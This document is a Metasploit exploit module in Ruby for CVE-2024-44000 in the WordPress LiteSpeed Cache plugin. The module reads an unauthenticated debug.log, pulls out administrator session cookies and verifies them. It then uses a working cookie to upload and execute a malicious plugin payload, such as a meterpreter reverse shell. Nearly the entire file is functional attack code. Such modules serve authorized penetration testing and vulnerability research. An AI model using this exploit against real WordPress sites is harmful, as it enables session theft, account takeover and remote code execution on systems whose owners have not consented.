161 lines
6.0 KiB
Ruby
161 lines
6.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
class DebugLogError < StandardError; end
|
|
class WordPressNotOnline < StandardError; end
|
|
class AdminCookieError < StandardError; end
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Wordpress LiteSpeed Cache plugin cookie theft',
|
|
'Description' => %q{
|
|
This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin
|
|
that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when
|
|
the Debug Logging feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint
|
|
which is accessible without authentication. The Debug Logging feature in the plugin is not enabled by default.
|
|
The admin cookies found in the debug.log can be used to upload and execute a malicious plugin containing a payload.
|
|
},
|
|
'Author' => [
|
|
'Rafie Muhammad', # discovery
|
|
'jheysel-r7' # module
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://patchstack.com/articles/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin/'],
|
|
[ 'CVE', '2024-44000']
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Privileged' => false,
|
|
'Platform' => ['unix', 'linux', 'win', 'php'],
|
|
'Arch' => [ARCH_PHP, ARCH_CMD],
|
|
'Targets' => [
|
|
[
|
|
'PHP In-Memory',
|
|
{
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP
|
|
# tested with php/meterpreter/reverse_tcp
|
|
}
|
|
],
|
|
[
|
|
'Unix In-Memory',
|
|
{
|
|
'Platform' => ['unix', 'linux'],
|
|
'Arch' => ARCH_CMD
|
|
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
|
|
}
|
|
],
|
|
[
|
|
'Windows In-Memory',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2024-09-04',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE, ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
|
'Reliability' => [ REPEATABLE_SESSION, ]
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def check
|
|
@admin_cookie = get_valid_admin_cookie
|
|
CheckCode::Vulnerable('Found and tested valid admin cookie, we can upload and execute a payload')
|
|
rescue WordPressNotOnline => e
|
|
return CheckCode::Unknown("This doesn't appear to be a WordPress site: #{e.class}, #{e}")
|
|
rescue DebugLogError => e
|
|
return CheckCode::Safe("#{e.class}, #{e}")
|
|
rescue AdminCookieError => e
|
|
return CheckCode::Safe("#{e.class}, #{e}")
|
|
end
|
|
|
|
def extract_cookies(debug_log)
|
|
admin_cookies = []
|
|
debug_log.each_line do |log_line|
|
|
# 09/13/24 15:52:48.009 [192.168.65.1:58695 1 UNP] Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7C4084023e82a4c58d574ddf33142b168ff5cb93446675ca8116fd32e1de2b8df7; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7Cf6bb4d0fdca7b147f320472893374a063b095b550db3488f86e58b6c47e4ce4c
|
|
match = log_line.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/)
|
|
admin_cookies << match.captures.compact.join('; ') if match
|
|
end
|
|
admin_cookies
|
|
end
|
|
|
|
def verify_admin_cookie(admin_cookies)
|
|
admin_cookies.each do |admin_cookie|
|
|
res = send_request_cgi({
|
|
'uri' => '/wp-admin/',
|
|
'cookie' => admin_cookie
|
|
})
|
|
return admin_cookie if res&.code == 200
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
def get_valid_admin_cookie
|
|
raise WordPressNotOnline unless wordpress_and_online?
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri('wp-content', 'debug.log'),
|
|
'method' => 'GET'
|
|
})
|
|
raise DebugLogError, 'There was no /wp-content/debug.log endpoint found on the target to pillage' unless res&.code == 200
|
|
raise DebugLogError, 'There were no cookies found inside /wp-content/debug.log' unless res.body.include?('wordpress_logged_in')
|
|
|
|
admin_cookies = extract_cookies(res.body)
|
|
raise AdminCookieError, 'No admin cookies could be found in debug.log' if admin_cookies.blank?
|
|
|
|
print_status('One or more potential admin cookies were found')
|
|
|
|
admin_cookie = verify_admin_cookie(admin_cookies)
|
|
raise AdminCookieError, 'Admin cookies were found but are invalid' unless admin_cookie
|
|
|
|
admin_cookie
|
|
end
|
|
|
|
def exploit
|
|
unless @admin_cookie
|
|
begin
|
|
@admin_cookie = get_valid_admin_cookie
|
|
print_good('Found and tested valid admin cookie, we can upload and execute a payload')
|
|
rescue WordPressNotOnline => e
|
|
fail_with(Failure::NotFound, "#{e.class}, #{e}")
|
|
rescue DebugLogError, AdminCookieError => e
|
|
fail_with(Failure::UnexpectedReply, "#{e.class}, #{e}")
|
|
end
|
|
end
|
|
|
|
print_status('Preparing payload...')
|
|
plugin_name = Rex::Text.rand_text_alpha(10)
|
|
payload_name = Rex::Text.rand_text_alpha(10).to_s
|
|
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
|
|
zip = generate_plugin(plugin_name, payload_name)
|
|
|
|
print_status('Uploading payload...')
|
|
|
|
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, @admin_cookie)
|
|
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded
|
|
|
|
print_status("Executing the payload at #{payload_uri}...")
|
|
register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
|
|
register_dir_for_cleanup("../#{plugin_name}")
|
|
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' })
|
|
end
|
|
end
|